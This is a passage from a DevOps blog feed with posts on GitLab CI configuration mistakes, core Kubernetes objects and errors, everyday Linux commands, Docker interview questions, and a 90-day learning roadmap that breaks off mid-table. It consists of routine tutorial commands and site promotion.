.deploy_template: &deploy
  stage: deploy
  script:
    - ./deploy.sh

deploy_prod:
  <<: *deploy
  environment: production
  # inherits stage + script from the anchor

GitLab supports both YAML anchors (&name / *name with the <<: merge key) and its own extends:. The two solve the same problem and people mix them, which is where the trouble starts. The pattern above is correct: a dot-prefixed key is a hidden job — GitLab does not run it as a job, it only exists to be reused. Anchoring it with &deploy and merging it into deploy_prod with <<: *deploy works.

What goes wrong:

Forgetting the dot. If your template is named deploy_template: without the leading dot, GitLab treats it as a real job — and a real job with no script (just an anchor target) triggers the no-script error from mistake two.
Anchors don't cross files. A YAML anchor is local to one document. If you include: another file and try to reference an anchor defined there, it will not resolve. extends: is the cross-file-safe choice; reach for it when reuse spans includes.
A merge key can't be partially overridden the way you think. <<: does a shallow merge, so re-declaring a nested key replaces the whole sub-tree rather than merging into it.

When in doubt, prefer extends: for job reuse and keep anchors for small, local scalar/list fragments. And always give a reusable template the leading dot so GitLab knows not to run it:

.deploy_template:
  stage: deploy
  script:
    - ./deploy.sh

deploy_prod:
  extends: .deploy_template
  environment: production

7. include that 404s or points at the wrong file/ref

include:
  - project: 'platform/ci-templates'
    ref: main
    file: '/templates/deploy.yml'   # path or ref may be wrong

include: pulls configuration from another file — local, a remote URL, a template, or another project. When the path, the ref, or the project is wrong, GitLab cannot fetch it and the whole pipeline fails to compile, often with a blunt Project not found or access denied or a 404 on the file. The usual causes are a leading-slash path mistake (local include paths are relative to the repo root and need the slash; a file: from a project also wants the absolute repo path), a ref that points at a branch or tag that no longer exists, or a renamed template file.

Make the path absolute-from-root, pin a ref that exists, and double-check the project path:

include:
  - project: 'platform/ci-templates'
    ref: v2.3.0          # a tag that exists
    file: '/templates/deploy.yml'
  - local: '/.ci/test.yml'

One caveat worth knowing: resolving include: requires actually fetching the referenced files, which a purely client-side checker cannot do. A local linter validates the structure of your include block; for the final word on whether a remote file resolves, GitLab's own CI Lint (which fetches includes and project variables) is the backstop.

Catch them all at once

Six of these seven mistakes are structural — they live in how the jobs, stages, and references fit together, not in whether the YAML parses. That is exactly the gap a syntax-only linter misses: a .gitlab-ci.yml can be perfectly valid YAML and still be a pipeline GitLab refuses to start.

The GitLab CI Validator runs these checks in your browser. Paste a .gitlab-ci.yml and it parses the YAML, then flags the structural problems above — an undefined stage, a job with no script/run/trigger/extends, needs/dependencies/extends references that point at jobs that do not exist, an invalid when:, a non-list rules:, legacy only/except, and bad image/services shapes — each with the line and a concrete fix. Nothing is uploaded; the whole check is client-side, so you can run it against private pipelines and proprietary runner config without sending anything anywhere.

If your pipelines also run on GitHub, the same before-you-push idea applies to workflows — our walkthrough of GitHub Actions security misconfigurations covers the GitHub-side equivalents, from over-broad token permissions to unpinned third-party actions.

A red pipeline that never ran is the cheapest possible failure to prevent. Catch the structural mistakes before the commit, and the only red you see is a test that genuinely failed.

Kubernetes isn't that scary — you really only need 8 objects (and to read 3 errors)

opscanopy — Mon, 27 Jul 2026 16:14:56 +0000

The first time I opened a Kubernetes manifest, I closed my laptop. Pods, ReplicaSets, DaemonSets, StatefulSets, CRDs, operators, service meshes — it read like someone had thrown a dictionary into a YAML file and called it a platform. I was a backend dev who could ship a Docker container fine, and suddenly everyone on the team was talking about "the cluster" like it was a person.

Here's what nobody told me back then, and what I want to tell you now: you do not need to learn all of Kubernetes to be productive in it. You need maybe eight objects and the ability to read three error messages. That's the working set. Everything else you pick up the day you actually need it.

So let me hand you the mental model I wish I'd had.

TL;DR: Learn Pod, Deployment, Service, Ingress, ConfigMap, Secret, Namespace, and resource requests/limits. Then learn to debug CrashLoopBackOff, ImagePullBackOff, and OOMKilled with kubectl describe and kubectl logs. That's 90% of daily k8s.

One prerequisite, said plainly: you should be comfortable with containers first. If "image vs container" is fuzzy, spend an afternoon with the Docker for DevOps guide before this. Kubernetes runs containers — it does not replace knowing what one is.

Part 1: The 8 objects that actually matter

1. Pod — one running thing

A Pod is the smallest unit Kubernetes will schedule. Think of it as a single seat on a bus: usually one container sits in it, occasionally a couple of containers that genuinely need to ride together (a main app plus a tiny sidecar). The bus is the node. K8s decides which seat on which bus your app gets.

apiVersion: v1
kind: Pod
metadata:
  name: hello
spec:
  containers:
    - name: web
      image: nginx:1.27

You'll rarely write a raw Pod like this in production, though. Which brings us to the object you actually use.

2. Deployment — the manager who keeps Pods alive

If a Pod is one worker, a Deployment is the shift manager who guarantees "I always want three of these running, and when I hand you a new version, roll it out without dropping traffic." Kill a Pod by hand and the Deployment quietly spins up a replacement. That self-healing is the whole point.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: web
spec:
  replicas: 3
  selector:
    matchLabels:
      app: web
  template:
    metadata:
      labels:
        app: web
    spec:
      containers:
        - name: web
          image: nginx:1.27

Notice the selector and the labels matching. That's not boilerplate you can skip — the Deployment finds its Pods by label. Mismatch them and you get zero running Pods and zero errors, which is a fun afternoon. (Ask me how I know.)

3. Service — a stable address for a moving target

Pods are cattle, not pets. They die, get rescheduled, change IPs constantly. So how does Pod A reliably talk to Pod B? A Service. It's a fixed phone number that always forwards to whichever Pods are currently healthy. You call the Service name; it load-balances behind the scenes.

There are three flavours worth knowing:

ClusterIP (the default) — reachable only inside the cluster. Most internal services live here.
NodePort — opens the same port on every node. Crude, but handy for quick testing.
LoadBalancer — asks your cloud provider for a real external load balancer. This is how the outside world reaches you on a managed cluster.

apiVersion: v1
kind: Service
metadata:
  name: web
spec:
  selector:
    app: web      # same label as the Deployment's Pods
  ports:
    - port: 80
      targetPort: 80

4. Ingress — the front-desk router for HTTP

A LoadBalancer per service gets expensive and messy fast. Ingress fixes that: it's one HTTP(S) router sitting at the edge, mapping hostnames and paths to the right Service. api.example.com goes here, app.example.com/admin goes there, and TLS termination happens in one place. You need an ingress controller running (nginx-ingress, Traefik, or your cloud's) for the Ingress object to mean anything — the YAML is just the routing table; the controller is the actual receptionist.

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: web
spec:
  rules:
    - host: app.example.com
      http:
        paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: web
                port:
                  number: 80

5 and 6. ConfigMap and Secret — pulling config out of your image

You don't bake the database URL into your image. You inject it. ConfigMap holds non-sensitive config (feature flags, log levels, that database host); Secret holds the sensitive stuff (passwords, API tokens).

They look almost identical to use. But one honest warning, because this trips people up constantly:

Footgun: A Kubernetes Secret is only base64-encoded, not encrypted. Anyone who can read the Secret can base64 -d it in two seconds. By default it sits in etcd unencrypted too. To make Secrets actually secret, you need encryption-at-rest enabled on etcd plus tight RBAC. Treat "Secret" as "marked sensitive," not "safe."

apiVersion: v1
kind: ConfigMap
metadata:
  name: app-config
data:
  LOG_LEVEL: "info"
  DB_HOST: "postgres.internal"

A Secret is the same shape with kind: Secret and base64 values under data:. Use one for the password, the ConfigMap for everything else.

7. Namespace — rooms in the same house

A Namespace is a logical partition inside one cluster. dev, staging, prod, or a namespace per team. Names only need to be unique within a namespace, so two teams can both have a Service called web without colliding. It's also where you hang quotas and access rules. Small concept, saves a lot of arguments.

kubectl create namespace staging
kubectl get pods -n staging

8. Resource requests and limits — the most-skipped, most-important setting

This is the one beginners ignore and then page themselves at 2am over. Every container can declare two numbers for CPU and memory:

request — what the scheduler reserves for you. It's used to decide which node has room.
limit — the hard ceiling. Go over the memory limit and the kernel kills your container (more on that in Part 2).

resources:
  requests:
    cpu: "250m"      # 0.25 of a CPU core
    memory: "256Mi"
  limits:
    cpu: "500m"
    memory: "512Mi"

These numbers also decide your Pod's QoS class, which determines who gets evicted first when a node runs out of memory:

Guaranteed — requests equal limits for every resource. Last to be killed.
Burstable — requests set, limits higher (or partial). The common middle ground.
BestEffort — nothing set at all. First against the wall when memory gets tight.

Guessing these numbers is genuinely hard, and "I'll set it later" usually means "never." If you want sane starting values without spreadsheet math, OpsCanopy has a free in-browser Kubernetes resource calculator — punch in what your app roughly needs and it gives you requests/limits you can paste straight into the manifest. No signup, runs entirely in your browser.

While we're here: liveness and readiness probes are worth a mention even though they're not on the core-8 list. A readiness probe tells the Service "don't send me traffic until I'm warmed up." A liveness probe tells the kubelet "if this check fails, restart me." Get them backwards and you'll restart healthy pods or route traffic into cold ones. Learn them right after you're comfortable with the eight above.

Part 2: The 3 errors you WILL hit

You will see these. Not "might." The good news is they're readable once you know where to look, and the where-to-look is almost always the same two commands:

kubectl get pods                 # spot the bad pod and its status
kubectl describe pod <name>      # the Events section is gold

CrashLoopBackOff — your container keeps dying on startup

This means the container starts, exits, gets restarted, exits again, and Kubernetes is now backing off (waiting longer between each retry) so it doesn't hammer a doomed process. The status sounds dramatic; it just means "your app won't stay up."

It's almost never Kubernetes' fault. It's your app crashing — a missing env var, a bad config, an unreachable database, a typo'd start command. So read your app's own logs:

kubectl logs <pod-name>
kubectl logs <pod-name> --previous   # logs from the crashed instance, before the restart

That --previous flag is the trick most people miss. By the time you run kubectl logs, the current container may be a fresh restart with nothing useful in it. --previous shows you the instance that actually died — that's where your stack trace lives.

ImagePullBackOff — Kubernetes can't get your image

Different beast entirely. The container never even started, because the node couldn't pull the image. Same backoff idea (it's retrying with increasing delays), different cause. Usual suspects:

A typo in the image name or tag (ngnix:1.27 instead of nginx)
The tag doesn't exist in the registry
It's a private registry and you didn't give the cluster pull credentials (imagePullSecrets)

The exact reason is sitting in the events:

kubectl describe pod <pod-name>
# scroll to Events — you'll see the real message,
# e.g. "Failed to pull image ... not found" or "unauthorized"

When something cluster-wide feels off and a single pod's events aren't enough, widen the lens:

kubectl get events --sort-by=.lastTimestamp

That gives you a chronological feed of what the cluster's been doing — often the clearest narrative of what broke and when.

OOMKilled — your container ate too much memory

OOM = Out Of Memory. Your container tried to use more memory than its limit, and the kernel killed it. (That's the OOM killer doing exactly what you told it to.) You'll spot it in the pod's state:

kubectl describe pod <pod-name>
# Look for: State: Terminated   Reason: OOMKilled

Here's the part that connects back to Part 1: OOMKilled is the direct consequence of memory limits, so the fix is rarely "give it infinite memory." It's setting the right limit. Too low and you get killed under normal load. Too high and the scheduler over-commits the node and everyone suffers. This is exactly why guessing requests/limits by hand is risky, and why I'll point you one more time at that resource calculator to get a defensible starting point instead of a vibe.

Sometimes OOMKilled is a real memory leak in your app, and no limit will save you — but the limit is what turns "node falls over and takes ten other apps with it" into "one pod restarts cleanly." That blast-radius containment is the feature, not the bug.

Where to go from here

That's the honest core of Kubernetes. Eight objects, three errors, two debugging commands you'll type a thousand times. You're not "done" — nobody is — but you can now read a manifest, deploy something, and figure out why it broke without spiralling. That's the threshold where k8s stops being scary and starts being useful.

When you're ready to go deeper — probes done properly, rollouts and rollbacks, StatefulSets, RBAC, the bits I deliberately skipped — the Kubernetes for DevOps guide on OpsCanopy walks through all of it with working YAML, and the Kubernetes roadmap lays out a sane order to learn things so you're not jumping around. Both are free, no account needed, and they sit alongside the rest of the Learn hub if you're picking up DevOps more broadly.

Open a manifest. Deploy something small. Break it on purpose and read the error. That loop is how it finally clicked for me, and it'll click for you faster than you think.

The 12 Linux commands I actually run every day as a DevOps engineer

opscanopy — Mon, 27 Jul 2026 16:13:44 +0000

Every Linux tutorial throws a hundred commands at you. tar, sed, cut, xargs, forty flags each, and you nod along and forget all of it by Tuesday.

Then you get paged at 3am. Production's down — now what? And in that moment your brain doesn't reach for the hundred. It reaches for maybe twelve. The same twelve, every single incident. Those are the ones worth burning into muscle memory.

This is that list. Not the comprehensive one — the honest one. For each command I'll give you a real situation, a copy-pasteable example, and the flag explanations that actually matter. Plus a mistake or two I've made so you don't have to.

TL;DR: Learn to answer four questions fast — what's broken? (ps, top, ss, df), what do the logs say? (journalctl, grep, awk, tail), who can touch this file? (find, chmod/chown), and can I reach that box? (ssh, curl, systemctl). Everything else you can Google mid-incident.

Find out what's wrong fast

The first 90 seconds of an incident are about triage, not fixing. You want a fast read on CPU, memory, disk, and ports before you touch anything.

1. `top` (and `ps` for the surgical version)

top is your live dashboard. Open it, press M to sort by memory or P for CPU, and you'll usually spot the offender in five seconds.

But top is interactive and noisy. When I want a one-shot answer — which process is eating all the RAM? — I reach for ps:

ps aux --sort=-%mem | head

aux shows every process with user and resource columns. --sort=-%mem orders by memory descending (the - means descending), and head keeps the top 10 so your terminal doesn't scroll into oblivion. Swap in -%cpu when CPU is the suspect.

Pro tip: the RSS column is real memory in KB. That's the number that gets a process OOM-killed, not the scary-looking VSZ.

2. `df -h` — is the disk full?

You would not believe how many "the app is down" incidents are just a full disk. Logs filled the partition, writes started failing, everything fell over.

df -h

-h means human-readable (GB/MB instead of raw blocks). Glance at the Use% column. Anything at 100% is your problem. Check / and /var first — /var/log is the usual culprit.

3. `du -sh * | sort -h` — where did the disk go?

df tells you the partition's full. du tells you which directory ate it.

du -sh * | sort -h

-s summarizes each entry (instead of listing every file inside), -h is human-readable again, and sort -h sorts those human sizes correctly so 2G lands above 500M. Run it, cd into the biggest dir, run it again. Two or three hops and you've found the runaway log file.

4. `ss -tulpn` — what's listening on which port?

netstat is dead, long live ss. When a service won't start because "address already in use," or you just want to know what's actually bound:

ss -tulpn

Read it as: t TCP, u UDP, l listening sockets only, p show the process, n numeric (don't waste time resolving names). You'll see exactly which PID owns port 8080 before you go hunting.

Once spent forty minutes convinced our API had a code bug because health checks were timing out. It wasn't the code. df -h showed / at 100% — a debug log left on DEBUG over the weekend had quietly written 40GB. The fix was truncate and a logrotate config. The lesson: check the boring stuff first. The disk, the ports, the memory. The clever explanation is almost never the right one at 3am.

Wrangle the logs

This is where most of the time actually goes. Logs are the crime scene and these four tools are how you read it.

5. `journalctl` — the systemd logbook

On any modern distro, this is where service logs live. The two flags I use constantly:

journalctl -u nginx --since "10 min ago"

-u nginx filters to one unit. --since "10 min ago" scopes the time window so you're not scrolling through yesterday. Add -f to follow live, or -e to jump to the end. When a service just died, journalctl -u <service> -e is usually the first command I type.

6. `grep` — find the needle

The one you'll run most. Searching a tree of logs for errors:

grep -rn "ERROR" /var/log/

-r recurses into subdirectories, -n prints line numbers so you can jump straight there. Add -i to ignore case (because some apps log Error, some ERROR, some error — consistency is a myth).

The catch with grep is the pattern. Simple strings are easy; real log-mining needs regex, and getting a regex right by trial and error inside a live grep is miserable. I build and test patterns in a browser first using OpsCanopy's regex log tester — paste a few sample log lines, tweak the pattern until it highlights exactly what you want, then drop it into grep. Saves a lot of "why is this matching nothing" frustration.

7. `awk` — when you need columns

grep finds lines. awk slices them into fields. The classic "who is hammering my server?" one-liner:

awk '{print $1}' access.log | sort | uniq -c | sort -rn

{print $1} pulls the first column (the client IP in a standard access log). sort groups identical IPs together, uniq -c counts each group, and sort -rn sorts those counts numerically, highest first. Top of the list is your top talker. (Could be a bot, could be a misconfigured client, could be a DDoS — but now you have a number.)

8. `tail -f` — watch it happen live

Reproducing a bug and want to see the log react in real time?

tail -f /var/log/syslog | grep -i timeout

-f follows the file as new lines append. Piping into grep -i timeout means you only see the lines you care about, case-insensitively, as they arrive. Trigger the action in another window and watch. There's something deeply satisfying about seeing the exact line appear the instant you click the button.

If you want the regex side of grep/awk to stop being guesswork, the Linux for DevOps guide walks through log-wrangling patterns properly, not just "here's the flag."

Files & permissions

Half of "permission denied" tickets are one chmod away from solved. The other half are someone who already ran the wrong chmod.

9. `find` — locate by criteria, not just name

find is a search engine for your filesystem. Tracking down logs modified in the last day:

find / -name "*.log" -mtime -1

-name "*.log" matches by filename pattern, -mtime -1 means modified less than 1 day ago (-mtime +7 would be older than a week — handy for cleanup). Start from a specific directory instead of / when you can; searching the whole root is slow and touches everything.

10. `chmod` / `chown` — fix who can do what

A private key with loose permissions? SSH will flat-out refuse it. The fix:

chmod 600 ~/.ssh/id_rsa

600 means owner read+write, nobody else gets anything. That's the canonical permission for secrets and keys. For ownership, chown user:group file reassigns who owns it — common after copying files around as root.

Confession time: early on I ran chmod -R 777 on a directory to "fix a permissions issue." Don't. 777 means everyone can read, write, and execute everything, recursively. It doesn't fix permissions, it deletes the concept of permissions. I spent the next hour undoing it and explaining myself. Use the least access that works, never the most.

Reach other machines

Your stuff runs on boxes that aren't yours. These three get you there and tell you if they're alive.

11. `ssh` — get onto the box

The front door to remote work. Basic form:

ssh deploy@10.0.4.12

You'll live in this command. The real upgrade is your ~/.ssh/config — define a Host alias once and ssh prod-web beats typing the full user-and-IP every time. Set up key auth and stop typing passwords entirely. (And see command 10 — if your key permissions are wrong, ssh will refuse before it even tries.)

12. `curl` — is the endpoint actually up?

My favorite health-check one-liner. Skip the response body, just tell me the HTTP status:

curl -sS -o /dev/null -w "%{http_code}\n" https://api.example.com/health

Breaking it down: -s silences the progress bar, -S keeps real errors visible (so a silent failure still shouts), -o /dev/null throws away the body, and -w "%{http_code}\n" prints just the status code with a newline. You get back a clean 200 (or a 503 that tells you exactly what's wrong). Drop it in a loop and you've got a poor man's uptime monitor.

For the deeper "why can't this box reach that box" rabbit holes — DNS, routing, ports, TLS — the networking guide pairs naturally with ss, ssh, and curl.

The honest takeaway

Nobody memorizes a hundred commands. You memorize the dozen that answer your real questions, and you get fast at those. Everything else is man pages and search history.

If you're moving into DevOps and want to go from "I can copy-paste these" to "I actually understand what's happening underneath," start here:

📘 The full Linux for DevOps guide — these commands in real context, with the why.
🗺️ The Linux roadmap — a step-by-step path if you don't know what to learn next.
🧰 Or browse everything in the Learn hub.

Bookmark this, drill the twelve, and the next 3am page will feel a little less like a fire and a little more like a checklist. That's the whole job, honestly.

What's the one command you reach for that I left off the list? I'm always looking to steal a good one.

14 Docker interview questions I actually got asked in 2026 (and how I'd answer them)

opscanopy — Mon, 27 Jul 2026 16:13:40 +0000

I've been on both sides of the table. Some years I'm the one sweating through a Docker round; other years I'm the one asking "okay, your image is 1.2GB, walk me through shrinking it." So this list isn't scraped off the internet. These are questions I either got asked in 2026 or asked candidates myself, mostly for backend/DevOps roles (a chunk of these come up in almost every product-company interview loop).

TL;DR: Interviewers don't want textbook definitions. They want to know you've actually run docker logs on a crashing container at 11pm. Below are 14 questions grouped into Fundamentals, Images & Builds, Networking & Storage, and Debugging. Each has the question, what they're really testing, and the answer I'd give.

Fundamentals

1. What's the difference between a container and a VM?

What they're really testing: whether you understand that containers share the host kernel.

A VM virtualizes hardware and runs a full guest OS with its own kernel, so it's heavy (gigabytes, slow boot). A container is just an isolated process on the host — it shares the host kernel and only packages the app plus its userland dependencies. That's why containers start in milliseconds and you can pack dozens on one box. The trade-off: weaker isolation than a VM, since everyone shares that kernel.

Honestly, most candidates nail this one because it's the first thing every tutorial covers. The follow-up is where people slip: "so can you run a Windows container on a Linux host?" (No — the kernel has to match.)

2. What actually happens when you run docker run?

Docker pulls the image if it's not local, creates a writable container layer on top of the read-only image layers, sets up networking and namespaces/cgroups, then starts the process defined by ENTRYPOINT/CMD as PID 1 inside the container. When that process exits, the container stops. That last sentence matters more than it sounds — half the "my container won't stay up" problems trace back to it.

3. Image vs container — explain it like I'm new.

An image is the read-only template (a stack of layers). A container is a running — or stopped — instance of that image with a thin writable layer on top. One image, many containers. The class-vs-object analogy works fine here and interviewers don't mind it.

4. What's the deal with image layers and the build cache?

Each instruction in a Dockerfile (RUN, COPY, ADD) creates a layer. Layers are cached and content-addressed, so if nothing above a line changed, Docker reuses the cached layer instead of rebuilding it. This is why instruction order is a real skill, not pedantry. Put the stuff that rarely changes first, and the stuff that changes every commit (your source code) last:

COPY package.json package-lock.json ./
RUN npm ci          # cached unless deps change
COPY . .            # only this busts on a code change

If you COPY . . before installing deps, every one-line code change reinstalls your whole dependency tree. I've seen 9-minute CI builds drop to 40 seconds just from reordering these two blocks. (For a fuller walkthrough of the layer model, the Docker fundamentals guide goes deeper than I can here.)

Images & Builds

5. Your production image is 1.2GB. How do you shrink it?

What they're really testing: practical instincts, not trivia. This is my favorite question to ask.

Things I'd actually do, roughly in order of impact:

Multi-stage build. Compile/install in a fat builder stage, copy only the artifact into a clean runtime stage.
Smaller base image. Swap node:20 for node:20-alpine, or go distroless for compiled languages.
.dockerignore. Stop shipping node_modules, .git, and local junk into the build context.
Collapse layers and clean package caches in the same RUN (rm -rf /var/lib/apt/lists/*).

The multi-stage one usually does most of the work:

FROM golang:1.23 AS build
WORKDIR /src
COPY . .
RUN go build -o /app ./cmd/server

FROM gcr.io/distroless/static
COPY --from=build /app /app
ENTRYPOINT ["/app"]

That Go binary plus distroless can land under 20MB. The answer that impresses isn't reciting all four bullets — it's saying "first I'd run docker history to see which layer is fat, then decide."

6. Multi-stage builds — why bother?

Because your build tools aren't your runtime needs. You need a compiler, headers, and a package manager to build; you need none of that to run. Multi-stage lets you keep build dependencies in an early stage and copy just the output forward with COPY --from=build, so the final image is small and has a smaller attack surface. Bonus: no more separate "build image" and "run image" shell scripts.

7. ENTRYPOINT vs CMD?

ENTRYPOINT sets the executable that always runs; CMD sets default arguments (or a default command) that are easy to override at docker run. Common pattern: ENTRYPOINT ["python"] plus CMD ["app.py"], so docker run img test.py swaps the script but keeps the interpreter. Also — use the exec form (["..."], JSON array), not the shell form, or your process won't get signals correctly and won't run as PID 1.

Quick tip: if docker stop takes a full 10 seconds and then kills your container hard, it's almost always the shell-form ENTRYPOINT swallowing SIGTERM. Switch to exec form.

8. COPY vs ADD?

Use COPY. It just copies files from the build context into the image, no surprises. ADD does that plus two magic things: it auto-extracts local tar archives and can fetch remote URLs. Both behaviors bite people, so the convention is COPY by default, ADD only when you specifically want tar extraction.

9. What goes in a .dockerignore and why does it matter?

Anything you don't want sent to the Docker daemon as build context: node_modules, .git, dist, .env, logs, test fixtures. Two reasons it matters — a bloated context slows every build (the whole thing gets tarred and shipped to the daemon), and COPY . . can accidentally bake secrets or local config into the image. It's basically .gitignore for builds, and forgetting it is a classic junior mistake.

Networking & Storage

10. Walk me through Docker's default network modes.

Three you should know:

bridge (default): containers get a private IP on a virtual bridge and talk to each other by name on a user-defined network. Outside access needs published ports.
host: the container shares the host's network stack directly — no isolation, no port mapping, slightly faster. Linux only, really.
none: no networking at all. Useful for batch jobs that shouldn't touch the network.

The detail that earns points: on the default bridge, containers can't resolve each other by name — you only get automatic DNS on a user-defined bridge network. So in real projects you create one: docker network create appnet.

11. What does -p 8080:80 actually do?

It publishes a port: maps port 8080 on the host to port 80 inside the container. Left side is host, right side is container — people flip these under pressure constantly.

docker run -d --name web -p 8080:80 nginx

Now localhost:8080 hits nginx listening on 80 inside the container. Without -p, the container's port is reachable from other containers on the same network but not from your laptop.

12. Bind mount vs named volume — when do you use which?

A bind mount maps a specific host path into the container (-v $(pwd):/app) — great for local dev where you want live code reloads, but it's tied to the host's filesystem layout. A named volume is managed by Docker (-v appdata:/var/lib/postgresql/data), lives in Docker's storage area, and is the right call for persistent data like databases in production. Rule of thumb I give people: bind mounts for dev convenience, named volumes for data you can't lose.

Debugging & Scenarios

13. A container exits immediately after starting. How do you debug it?

What they're really testing: do you reach for logs first, or start guessing.

My order:

docker ps -a — check the exit code. 0 means it finished on purpose; non-zero means it crashed.
docker logs <container> — 90% of the time the error is right there.
If it's a "main process exited so the container stopped" situation, ask whether the command is actually a long-running foreground process. A container with CMD ["npm", "run", "build"] will always exit — build finishes, PID 1 dies, container stops. That's not a bug.
Still stuck? Override the entrypoint and poke around:

docker run -it --entrypoint sh myimage

The candidates who impress me say "logs first." The ones who worry me start by rebuilding the image.

14. docker exec vs docker run — and how do you get a shell into a running container?

docker run creates and starts a new container from an image. docker exec runs a command in an already-running container. So to debug live, you exec in:

docker exec -it web sh

If sh isn't there (distroless, scratch), that's the price of a tiny image — you debug from outside, or temporarily run a debug-friendly variant. Mixing these two up is one of the most common slips, and clearing it up cleanly signals real hands-on time.

Bonus — restart policies and healthchecks (they always sneak this in):

Restart policies tell Docker what to do when a container dies: --restart=on-failure retries only on non-zero exit, --restart=unless-stopped keeps it alive across daemon restarts unless you explicitly stopped it. A HEALTHCHECK lets Docker probe whether your app is actually serving, not just whether the process exists:

HEALTHCHECK --interval=30s --timeout=3s \
  CMD curl -f http://localhost/health || exit 1

Knowing the difference between "process is up" and "app is healthy" is the kind of thing that separates someone who's run prod from someone who's only done tutorials.

How to actually prep

A pattern across every loop I've sat in: interviewers chain questions. They'll start at "container vs VM," and within four follow-ups you're explaining why your container exits with code 137 (that's OOM-kill, by the way — worth memorizing). So don't memorize answers; build a mental model you can reason from.

If you want the structured version of this, OpsCanopy has a full Docker interview-questions guide with deeper answers and more scenario chains than I can fit in a dev.to post. Pair it with the Docker roadmap if you're figuring out what to learn in what order, and once Docker clicks, Kubernetes for DevOps is the natural next step — most of these loops have a K8s round right after. Everything's free over at the Learn hub.

I've got the full set with deeper answers and the nastier follow-ups right here. Go break some containers before your next interview — it's the fastest way to actually remember any of this.

The Complete 90-Day DevOps Roadmap I Wish Existed When I Started (Free, No Signup)

opscanopy — Tue, 14 Jul 2026 12:00:00 +0000

I once watched a developer breeze through three Docker courses and then freeze solid the first time a real container crashed. Tutorials teach commands. Incidents teach engineers.

Every DevOps roadmap I found when I started was either a 200-node skill tree with no order, or a funnel into a $400 course. So I spent the last few months building the thing I actually needed — a day-by-day, 90-day path from "I write application code" to "I can deploy, debug, and un-break infrastructure" — and the entire plan is in this post. You don't need to click a single link to use it.

Why this order, and why 90 days

Most roadmaps fail for one of two reasons: they present everything at once (so you bounce between Kubernetes videos and bash tutorials with no thread), or they teach tools in the wrong order (Kubernetes before Linux is how you end up copy-pasting kubectl commands you can't debug).

The ordering rule I settled on: every layer must let you debug the layer above it.

Kubernetes problems are usually container problems.
Container problems are usually Linux problems.
Cloud networking problems are usually DNS-and-ports problems you can learn on localhost.

So: Linux first, containers second, cloud third, orchestration fourth, job prep last. 45–60 minutes a day, about 80 hours of core work total. That's a real commitment — I won't pretend it's "10 minutes a day" — but it's doable alongside a full-time job, and 90 days is short enough that you can see the end from the start.

Phase 1 — Linux & the terminal (Days 1–21)

Three weeks feels like a lot for Linux when Kubernetes is the shiny thing. It isn't. Roughly every DevOps incident ends with someone SSH'd into a box reading logs, and this phase is where you stop being scared of that.

What you cover: navigation, files, permissions, processes, systemd, logs, networking basics (DNS, ports, ss, curl), bash scripting, cron, SSH, users.

The test of whether Phase 1 worked isn't "can you list flags for ls". It's whether this sequence feels natural:

$ systemctl status nginx
● nginx.service - A high performance web server
     Active: failed (Result: exit-code) since Tue 09:41:02 UTC

$ journalctl -u nginx -n 20 --no-pager
nginx[1247]: bind() to 0.0.0.0:80 failed (98: Address already in use)

$ sudo ss -ltnp | grep :80
LISTEN 0 511 0.0.0.0:80 users:(("apache2",pid=1201,fd=4))

Read the status, read the log, find the actual error string, find the process squatting on the port. That loop — observe, read the real error, trace it down one layer — is the whole job. Everything after Phase 1 is that loop with more expensive tools.

Everything here runs locally on WSL2 or any Linux box. Cost: $0.

Phase 2 — Docker & CI/CD with GitHub Actions (Days 22–45)

Two skills, deliberately paired: packaging software (Docker) and shipping it automatically (GitHub Actions). Learning one without the other leaves you either building images by hand forever, or writing pipelines you can't debug.

Docker side: images vs containers, Dockerfiles, layers and caching, volumes, networks, compose. CI side: real Git workflows, then pipelines that lint, test, build, and push an image on every commit.

This phase ends with Project 1: containerize a real app — a FastAPI URL shortener called linkstash — with Docker and compose, database included:

$ docker compose up -d --build
[+] Building 42.3s (11/11) FINISHED
 ✔ Container linkstash-db-1   Healthy
 ✔ Container linkstash-api-1  Started

$ curl -s localhost:8000/healthz
{"status":"ok"}

That healthz line matters more than it looks. From here on, you carry this exact app up the rest of the stack — which I'll come back to.

Still 100% local. Still $0.

Phase 3 — AWS (Days 46–65)

IAM, EC2, VPC networking, S3, RDS, load balancers, observability, and then real deployment. The order inside the phase matters too: IAM and VPC first, because 80% of AWS confusion is "why can't this thing talk to that thing", and the answer is almost always a security group or a subnet route.

Project 2: take the same linkstash container from Phase 2 and deploy it properly — ECS Fargate behind an ALB, RDS Postgres, spread across two availability zones. Not a toy deploy; the architecture a small company would actually run.

Honest tradeoff: this is the phase that can cost money. The approach I take: every AWS lab carries a cost box up front and a mandatory teardown at the end. Follow the teardowns and you stay in free tier. Skip them and AWS will remind you why one of the week-7 incident drills is literally called "AWS Bill Shock".

Phase 4 — Kubernetes & Terraform (Days 66–85)

Pods, deployments, services, config, probes, ingress, Helm — practiced on local clusters first (kind), so mistakes are free. Then Terraform, so you stop clicking around consoles and start writing infrastructure that's reviewable and repeatable.

Project 3 is the capstone: linkstash again, now on Kubernetes — k3s on a single EC2 instance, provisioned entirely by Terraform, packaged as a Helm chart, with Traefik ingress and cert-manager doing real TLS.

Why k3s on one t3.small instead of EKS? Money. EKS charges ~$73/month for the control plane before you run a single pod. The k3s setup is ~$19/month if you leave it up — effectively $0 on free tier with same-day teardown. You learn the same Kubernetes; you just don't pay AWS to hold the API server. The tradeoff: you won't touch EKS-specific glue (IRSA, managed node groups) — that's fine to learn on the job.

Phase 5 — Job-Ready (Days 86–90)

The last five days are the part every roadmap skips: converting skills into a hire. Resume rewritten around the three projects (deployments and architecture decisions, not "familiar with Docker"), portfolio and GitHub polish, incident management fundamentals (severity levels, blameless postmortems, error budgets), and interview drilling on the exact Q&A you've been collecting — every single day of the program ends with 3–5 interview questions, so by day 86 you've already answered 300+.

The day-by-day skeleton

Days	Focus	Incident drill at the end
1–7	Terminal fluency: files, permissions, pipes	Server Down!
8–14	Processes, systemd, logs, DNS & ports	DNS Detective
15–21	Bash, cron, SSH, users	Locked File
22–28	Docker: images, containers, Dockerfiles	Docker Rescue
29–35	Compose, volumes, networks, registries	—
36–40	Git workflows → GitHub Actions CI	Broken Pipeline
41–45	Project 1: containerize linkstash	—
46–49	AWS: IAM, EC2, cost hygiene	AWS Bill Shock
50–56	VPC, S3, RDS, backups	Database Recovery
57–61	Load balancers, Route 53, monitoring	—
62–65	Project 2: linkstash on AWS (Fargate + ALB + RDS)	—
66–73	Kubernetes: pods, services, config, probes, debugging	Kubernetes Chaos
